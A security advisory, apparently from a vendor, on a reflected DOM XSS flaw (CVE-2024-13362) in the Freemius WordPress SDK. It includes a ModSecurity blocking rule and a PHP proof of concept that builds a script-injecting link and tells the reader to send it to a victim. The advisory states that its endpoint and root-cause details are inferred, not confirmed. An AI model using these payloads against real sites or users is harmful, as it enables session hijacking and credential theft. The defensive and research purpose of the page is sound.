Atomic Edge analysis of CVE-2024-13362 (metadata-based): This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) issue found in multiple WordPress plugins and/or themes using the Freemius framework, specifically in versions up to 2.10.1. The flaw involves insufficient sanitization of the ‘url’ parameter, allowing unauthenticated attackers to inject arbitrary JavaScript that executes when a victim clicks a crafted link. The CVSS v3.1 score is 6.1 (Medium), with a network attack vector, low attack complexity, no privileges required, but user interaction is required.
Root Cause: The Freemius SDK appears to handle a ‘url’ parameter in a client-side JavaScript context (DOM-based XSS). The description confirms that input sanitization and output escaping are missing. Because no plugin source code is available, Atomic Edge research infers that the vulnerability likely exists in a Freemius callback or redirect handler that takes a URL from the query string and writes it directly into the page DOM without proper encoding. This is a classic pattern where the ‘url’ parameter is echoed back in a JavaScript context or used to set window.location or innerHTML. The CWE classification (79) strongly supports this interpretation.
Exploitation: An attacker crafts a malicious link pointing to a vulnerable WordPress site with a manipulated ‘url’ parameter. The parameter value, most likely provided via the GET query string, is reflected into the page without sanitization, allowing injection of script tags or event handlers. The exploit leverages social engineering to trick a user into clicking the crafted link. The specific endpoint is likely one of the Freemius SDK’s AJAX or redirect handlers (e.g., /wp-admin/admin-ajax.php?action=fs_redirect or similar). The payload would be something like: ‘https://target-site.com/?url=javascript:alert(document.cookie)’ or a script tag in an encoded form. Successful execution runs arbitrary JavaScript in the victim’s browser within the context of the WordPress site.
Remediation: The fix should involve proper sanitization and escaping of the ‘url’ parameter. Atomic Edge analysis recommends using WordPress’s built-in functions like esc_url() to ensure the URL is safe for output, and potentially validating the URL against a whitelist of allowed destinations. The plugin should also avoid directly embedding user-supplied input into JavaScript code or DOM manipulation without proper encoding. Additionally, implementing a nonce check or capability verification (if applicable) could help, though the primary fix is output escaping.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since the attack requires user interaction (clicking a link), it is not wormable but can be used in targeted phishing campaigns. The scope change in CVSS (S:C) indicates the vulnerability can impact resources beyond the vulnerable component, such as stealing authentication tokens or accessing sensitive data on other parts of the site.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Virtual patch: Block reflected XSS attempts via the 'url' parameter commonly used in Freemius SDK.
# This rule targets the query string parameter 'url' with common XSS patterns.
# Note: The exact vulnerable endpoint is not confirmed, but this protects all requests with malicious 'url' parameter.
SecRule ARGS:url "@rx (?i)(?:<|%3C).*script|javascript:|onerror=|onload=|alert(|prompt(|confirm("
"id:10013362,phase:2,deny,status:403,msg:'CVE-2024-13362 - Freemius DOM-Based XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
<?php
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site
// Note: The exact vulnerable endpoint is unclear, but likely involves the 'url' parameter.
// This PoC assumes the vulnerable parameter is passed in the main query string.
// Crafted payload: inject a script that executes an alert
$payload = '"><script>alert("XSS")</script>';
// Build the malicious URL
$malicious_url = $target_url . '/?' . http_build_query(['url' => $payload]);
// Output the exploit URL for manual use (since we cannot simulate DOM execution via PHP)
echo "[+] Malicious URL: " . $malicious_url . "n";
echo "[+] Send this link to the victim. If vulnerable, a JavaScript alert will appear.n";
// Optionally: perform a cURL request to confirm reflection (though this will not execute JS)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Check if the payload is reflected in the response (simple check)
if (strpos($response, $payload) !== false) {
echo "[+] Confirmed: The payload appears in the page source.n";
} else {
echo "[-] The payload may not be reflected. The vulnerable endpoint may differ.n";
}
?>
